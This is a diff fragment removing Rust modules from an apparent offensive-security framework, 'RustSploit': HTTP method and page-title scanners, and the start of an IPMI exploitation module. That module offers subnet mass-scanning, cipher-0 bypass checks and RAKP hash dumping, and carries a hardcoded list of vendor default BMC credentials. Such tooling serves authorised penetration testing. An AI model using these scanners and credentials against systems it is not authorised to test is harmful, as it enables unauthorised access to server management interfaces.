|
||||
}
|
||||
|
||||
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
|
||||
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
|
||||
"http" => "http",
|
||||
_ => "https",
|
||||
};
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
let timeout_secs: u64 = timeout_input
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, default_scheme);
|
||||
if !ports.is_empty() {
|
||||
let expanded = expand_targets_with_ports(&normalized, &ports);
|
||||
if expanded.is_empty() {
|
||||
println!("[!] No valid port combinations derived; continuing without port tunneling.");
|
||||
} else {
|
||||
normalized = expanded;
|
||||
}
|
||||
}
|
||||
if normalized.is_empty() {
|
||||
return Err(anyhow!("No valid targets provided"));
|
||||
}
|
||||
normalized.sort();
|
||||
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut all_results = Vec::new();
|
||||
let mut total_success = 0usize;
|
||||
let mut total_errors = 0usize;
|
||||
let start_time = Instant::now();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s) with {} methods each...",
|
||||
normalized.len(), METHODS.len()).cyan().bold());
|
||||
|
||||
for target in &normalized {
|
||||
println!("\n{}", format!("=== Target: {} ===", target).bold());
|
||||
let mut method_results = Vec::new();
|
||||
|
||||
for &method_name in METHODS {
|
||||
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
|
||||
let body = match method_name {
|
||||
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
|
||||
_ => None,
|
||||
};
|
||||
|
||||
let start = std::time::Instant::now();
|
||||
let response = if let Some(ref payload) = body {
|
||||
client
|
||||
.request(method.clone(), target)
|
||||
.body(payload.clone())
|
||||
.send()
|
||||
.await
|
||||
} else {
|
||||
client.request(method.clone(), target).send().await
|
||||
};
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
match response {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let ok = status.is_success();
|
||||
if ok {
|
||||
total_success += 1;
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).green());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).green());
|
||||
}
|
||||
} else {
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).yellow());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).yellow());
|
||||
}
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: Some(status),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
Err(err) => {
|
||||
total_errors += 1;
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> error: {} ({:.2?})", method_name, target, err, elapsed).red());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] error: {}", method_name, err).red());
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: None,
|
||||
ok: false,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
all_results.push(TargetResult {
|
||||
target: target.clone(),
|
||||
results: method_results,
|
||||
});
|
||||
}
|
||||
|
||||
let total_elapsed = start_time.elapsed();
|
||||
let total_requests = normalized.len() * METHODS.len();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets: {}", normalized.len());
|
||||
println!(" Methods tested: {}", METHODS.len());
|
||||
println!(" Total requests: {}", total_requests);
|
||||
println!(" Successful: {}", total_success.to_string().green());
|
||||
println!(" Errors: {}", total_errors.to_string().red());
|
||||
println!(" Duration: {:.2}s", total_elapsed.as_secs_f64());
|
||||
if total_elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_requests as f64 / total_elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_method_scan_{}.txt",
|
||||
Utc::now().format("%Y%m%d_%H%M%S")
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
|
||||
println!("\n[*] Scan complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Method Capability Scanner ║".cyan());
|
||||
println!("{}", "║ Checks support for common HTTP verbs (GET, POST, etc.) ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
let mut targets = Vec::new();
|
||||
let trimmed = initial_target.trim();
|
||||
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
|
||||
targets.extend(split_targets(trimmed));
|
||||
}
|
||||
targets
|
||||
}
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
|
||||
let mut unique = HashSet::new();
|
||||
let mut normalized = Vec::new();
|
||||
|
||||
for raw in targets {
|
||||
let target = raw.trim();
|
||||
if target.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let formatted = if target.starts_with("http://")
|
||||
|| target.starts_with("https://")
|
||||
|| target.contains("://")
|
||||
{
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("{}://{}", default_scheme, target)
|
||||
};
|
||||
if unique.insert(formatted.clone()) {
|
||||
normalized.push(formatted);
|
||||
}
|
||||
}
|
||||
|
||||
normalized
|
||||
}
|
||||
|
||||
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut expanded = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(mut url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
if url.set_port(Some(*port)).is_ok() {
|
||||
let final_url = url.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for port in ports {
|
||||
let final_url = format!("{}:{}", target, port);
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" | "true" => Ok(true),
|
||||
"n" | "no" | "false" => Ok(false),
|
||||
_ => {
|
||||
println!("[!] Invalid input, using default ({})", default_text);
|
||||
Ok(default)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(input)
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let mut ports = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
|
||||
let trimmed = part.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match trimmed.parse::<u16>() {
|
||||
Ok(port) => {
|
||||
if seen.insert(port) {
|
||||
ports.push(port);
|
||||
}
|
||||
}
|
||||
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
|
||||
}
|
||||
}
|
||||
|
||||
if ports.is_empty() {
|
||||
println!("[!] No valid ports parsed; skipping port tunneling.");
|
||||
}
|
||||
|
||||
Ok(ports)
|
||||
}
|
||||
|
||||
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
|
||||
let mut lines = Vec::new();
|
||||
lines.push("HTTP Method Scanner Report".to_string());
|
||||
lines.push(format!("Generated at: {}", Utc::now()));
|
||||
lines.push(String::new());
|
||||
|
||||
for target in results {
|
||||
lines.push(format!("Target: {}", target.target));
|
||||
for method in &target.results {
|
||||
if let Some(status) = method.status {
|
||||
lines.push(format!(
|
||||
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
|
||||
method.method,
|
||||
status.as_u16(),
|
||||
method.ok,
|
||||
method.duration_ms
|
||||
));
|
||||
} else if let Some(ref error) = method.error {
|
||||
lines.push(format!(
|
||||
" - {:<7} error: {} time: {} ms",
|
||||
method.method, error, method.duration_ms
|
||||
));
|
||||
}
|
||||
}
|
||||
lines.push(String::new());
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n"))
|
||||
.with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
@@ -1,412 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
|
||||
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
|
||||
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_secs = prompt_timeout()?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, check_http, check_https);
|
||||
if !ports.is_empty() {
|
||||
let expanded = expand_targets_with_ports(&normalized, &ports);
|
||||
if expanded.is_empty() {
|
||||
println!("[!] No valid port combinations derived; continuing without port tunneling.");
|
||||
} else {
|
||||
normalized = expanded;
|
||||
}
|
||||
}
|
||||
if normalized.is_empty() {
|
||||
return Err(anyhow!("No valid targets provided"));
|
||||
}
|
||||
normalized.sort();
|
||||
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
|
||||
let mut all_results = Vec::new();
|
||||
let mut success_count = 0usize;
|
||||
let mut error_count = 0usize;
|
||||
let start_time = Instant::now();
|
||||
let total_targets = normalized.len();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s)...", total_targets).cyan().bold());
|
||||
println!();
|
||||
|
||||
for (idx, url) in normalized.iter().enumerate() {
|
||||
// Progress indicator
|
||||
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
|
||||
print!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
|
||||
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
match fetch_title(&client, url, &title_re).await {
|
||||
Ok(result) => {
|
||||
if let Some(title) = &result.title {
|
||||
println!("\r{}", format!("[+] {} -> {}", url, title).green());
|
||||
success_count += 1;
|
||||
} else if let Some(status) = result.status {
|
||||
if status.is_success() {
|
||||
println!("\r{}", format!("[+] {} -> <no title> (status: {})", url, status).green());
|
||||
success_count += 1;
|
||||
} else {
|
||||
println!("\r{}", format!("[~] {} -> <no title> (status: {})", url, status).yellow());
|
||||
}
|
||||
} else {
|
||||
println!("\r{}", format!("[~] {} -> <no title>", url).yellow());
|
||||
}
|
||||
if verbose {
|
||||
if let Some(status) = result.status {
|
||||
println!(" Status: {}", status);
|
||||
}
|
||||
println!(" Duration: {} ms", result.duration_ms);
|
||||
}
|
||||
all_results.push(result);
|
||||
}
|
||||
Err(err) => {
|
||||
println!("\r{}", format!("[-] {} -> error: {}", url, err).red());
|
||||
error_count += 1;
|
||||
all_results.push(TitleResult {
|
||||
url: url.clone(),
|
||||
status: None,
|
||||
title: None,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Total scanned: {}", total_targets);
|
||||
println!(" Successful: {}", success_count.to_string().green());
|
||||
println!(" Errors: {}", error_count.to_string().red());
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
if elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_targets as f64 / elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_title_scan_{}.txt",
|
||||
Utc::now().format("%Y%m%d_%H%M%S")
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
|
||||
println!("\n[*] Scan complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
struct TitleResult {
|
||||
url: String,
|
||||
status: Option<StatusCode>,
|
||||
title: Option<String>,
|
||||
error: Option<String>,
|
||||
duration_ms: u128,
|
||||
}
|
||||
|
||||
impl TitleResult {
|
||||
fn display_title(&self) -> String {
|
||||
match (&self.title, &self.error) {
|
||||
(Some(title), _) => title.clone(),
|
||||
(None, Some(err)) => format!("error: {}", err),
|
||||
(None, None) => "<no title>".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
|
||||
let start = std::time::Instant::now();
|
||||
let response = client.get(url).send().await.context("Request failed")?;
|
||||
let status = response.status();
|
||||
let text = match response.text().await {
|
||||
Ok(t) => t,
|
||||
Err(e) => {
|
||||
return Err(anyhow!("Failed to read response body: {}", e));
|
||||
}
|
||||
};
|
||||
let title = title_re
|
||||
.captures(&text)
|
||||
.and_then(|cap| cap.get(1))
|
||||
.map(|m| sanitize_title(m.as_str()));
|
||||
let duration = start.elapsed().as_millis();
|
||||
|
||||
Ok(TitleResult {
|
||||
url: url.to_string(),
|
||||
status: Some(status),
|
||||
title,
|
||||
error: None,
|
||||
duration_ms: duration,
|
||||
})
|
||||
}
|
||||
|
||||
fn sanitize_title(raw: &str) -> String {
|
||||
raw
|
||||
.lines()
|
||||
.map(|line| line.trim())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
.join(" ")
|
||||
.chars()
|
||||
.take(200)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
let mut targets = Vec::new();
|
||||
let trimmed = initial_target.trim();
|
||||
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
|
||||
targets.extend(split_targets(trimmed));
|
||||
}
|
||||
targets
|
||||
}
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
|
||||
let mut unique = HashSet::new();
|
||||
let mut normalized = Vec::new();
|
||||
|
||||
for raw in targets {
|
||||
let target = raw.trim();
|
||||
if target.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
if target.starts_with("http://") || target.starts_with("https://") {
|
||||
if unique.insert(target.to_string()) {
|
||||
normalized.push(target.to_string());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if check_https {
|
||||
let https = format!("https://{}", target);
|
||||
if unique.insert(https.clone()) {
|
||||
normalized.push(https);
|
||||
}
|
||||
}
|
||||
|
||||
if check_http {
|
||||
let http = format!("http://{}", target);
|
||||
if unique.insert(http.clone()) {
|
||||
normalized.push(http);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
normalized
|
||||
}
|
||||
|
||||
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut expanded = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
let mut candidate = url.clone();
|
||||
if candidate.set_port(Some(*port)).is_ok() {
|
||||
let final_url = candidate.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for port in ports {
|
||||
let final_url = format!("{}:{}", target, port);
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" | "true" => Ok(true),
|
||||
"n" | "no" | "false" => Ok(false),
|
||||
_ => {
|
||||
println!("[!] Invalid input, using default ({})", default_text);
|
||||
Ok(default)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(input)
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout() -> Result<u64> {
|
||||
let input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
if input.is_empty() {
|
||||
return Ok(10);
|
||||
}
|
||||
match input.parse::<u64>() {
|
||||
Ok(val) if val > 0 => Ok(val),
|
||||
_ => {
|
||||
println!("[!] Invalid timeout, using default (10s)");
|
||||
Ok(10)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let mut ports = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
|
||||
let trimmed = part.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match trimmed.parse::<u16>() {
|
||||
Ok(port) => {
|
||||
if seen.insert(port) {
|
||||
ports.push(port);
|
||||
}
|
||||
}
|
||||
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
|
||||
}
|
||||
}
|
||||
|
||||
if ports.is_empty() {
|
||||
println!("[!] No valid ports parsed; skipping port tunneling.");
|
||||
}
|
||||
|
||||
Ok(ports)
|
||||
}
|
||||
|
||||
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
|
||||
let mut lines = Vec::new();
|
||||
lines.push("HTTP Title Scanner Report".to_string());
|
||||
lines.push(format!("Generated at: {}", Utc::now()));
|
||||
lines.push(String::new());
|
||||
|
||||
for result in results {
|
||||
let status_text = result
|
||||
.status
|
||||
.map(|s| s.as_u16().to_string())
|
||||
.unwrap_or_else(|| "n/a".to_string());
|
||||
lines.push(format!(
|
||||
"{} | status: {:<5} | title: {}",
|
||||
result.url,
|
||||
status_text,
|
||||
result.display_title()
|
||||
));
|
||||
if result.duration_ms > 0 {
|
||||
lines.push(format!(" duration: {} ms", result.duration_ms));
|
||||
}
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Title Scanner ║".cyan());
|
||||
println!("{}", "║ Enumerate page titles over HTTP/HTTPS endpoints ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
@@ -1,798 +0,0 @@
|
||||
//! IPMI Enumeration and Exploitation Module - FIXED VERSION
|
||||
//!
|
||||
//! Comprehensive IPMI scanner supporting:
|
||||
//! - Mass scanning (Single, Subnet, File list)
|
||||
//! - Version detection (IPMI 1.5/2.0)
|
||||
//! - Cipher 0 authentication bypass detection
|
||||
//! - Anonymous authentication testing
|
||||
//! - Default credential brute force
|
||||
//! - RAKP hash dumping for offline cracking
|
||||
//! - Supermicro-specific vulnerability checks
|
||||
//!
|
||||
//! Default Port: 623/UDP
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::{IpAddr, SocketAddr};
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::net::UdpSocket;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_yes_no,
|
||||
prompt_required, prompt_existing_file, prompt_int_range,
|
||||
};
|
||||
|
||||
// IPMI Constants
|
||||
const IPMI_PORT: u16 = 623;
|
||||
const RECV_TIMEOUT_MS: u64 = 3000;
|
||||
const MAX_RETRIES: usize = 2;
|
||||
|
||||
// RMCP Header
|
||||
const RMCP_VERSION: u8 = 0x06;
|
||||
const RMCP_RESERVED: u8 = 0x00;
|
||||
const RMCP_SEQ: u8 = 0xFF;
|
||||
const RMCP_CLASS_IPMI: u8 = 0x07;
|
||||
|
||||
// IPMI Commands
|
||||
const IPMI_CMD_GET_CHANNEL_AUTH_CAP: u8 = 0x38;
|
||||
const IPMI_CMD_GET_SESSION_CHALLENGE: u8 = 0x39;
|
||||
|
||||
// Authentication Types
|
||||
const AUTH_TYPE_NONE: u8 = 0x00;
|
||||
const AUTH_TYPE_MD5: u8 = 0x02;
|
||||
const AUTH_TYPE_RMCPP: u8 = 0x06;
|
||||
|
||||
// RAKP Payload Types
|
||||
const PAYLOAD_RMCPP_OPEN_SESSION_REQUEST: u8 = 0x10;
|
||||
const PAYLOAD_RAKP_MESSAGE_1: u8 = 0x12;
|
||||
const PAYLOAD_RAKP_MESSAGE_2: u8 = 0x13;
|
||||
|
||||
// Default credentials
|
||||
const DEFAULT_CREDS: &[(&str, &str, &str)] = &[
|
||||
("Dell iDRAC", "root", "calvin"),
|
||||
("IBM IMM", "USERID", "PASSW0RD"),
|
||||
("Fujitsu iRMC", "admin", "admin"),
|
||||
("Supermicro IPMI", "ADMIN", "ADMIN"),
|
||||
("Oracle/Sun ILOM", "root", "changeme"),
|
||||
("ASUS iKVM BMC", "admin", "admin"),
|
||||
("Generic", "admin", "admin"),
|
||||
("Generic", "root", "root"),
|
||||
("Generic", "Administrator", "password"),
|
||||
];
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct IpmiInfo {
|
||||
ip: IpAddr,
|
||||
version: String,
|
||||
auth_types: Vec<String>,
|
||||
cipher_zero_vulnerable: bool,
|
||||
anonymous_access: bool,
|
||||
valid_creds: Option<(String, String, String)>,
|
||||
rakp_hash: Option<String>,
|
||||
supermicro_upnp_open: bool,
|
||||
supermicro_49152_open: bool,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ IPMI Enumeration & Exploitation Module (FIXED) ║".cyan());
|
||||
println!("{}", "║ Mass Scan, Cipher 0, Default Creds, Version Detection ║".cyan());
|
||||
println!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
println!("Select operation mode:");
|
||||
println!(" 1. Single Target");
|
||||
println!(" 2. Subnet Scan (CIDR)");
|
||||
println!(" 3. Target List (File)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_required("Select mode [1-3]: ")?;
|
||||
|
||||
let targets = match mode.as_str() {
|
||||
"1" => {
|
||||
let t = if target.trim().is_empty() {
|
||||
prompt_required("Target IP: ")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
vec![normalize_target(&t)?]
|
||||
},
|
||||
"2" => {
|
||||
let cidr = if target.trim().is_empty() || !target.contains('/') {
|
||||
prompt_required("Target CIDR (e.g., 192.168.1.0/24): ")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
cidr.parse::<ipnetwork::IpNetwork>()
|
||||
.context("Invalid CIDR format")?
|
||||
.iter()
|
||||
.map(|ip| ip.to_string())
|
||||
.collect()
|
||||
},
|
||||
"3" => {
|
||||
let path = prompt_existing_file("Path to target list file: ")?;
|
||||
let content = tokio::fs::read_to_string(path)
|
||||
.await
|
||||
.context("Failed to read target file")?;
|
||||
content.lines()
|
||||
.map(|s| s.trim().to_string())
|
||||
.filter(|s| !s.is_empty())
|
||||
.collect()
|
||||
},
|
||||
_ => return Err(anyhow!("Invalid selection")),
|
||||
};
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets found"));
|
||||
}
|
||||
|
||||
// Check for extremely large scans
|
||||
if targets.len() > 100000 {
|
||||
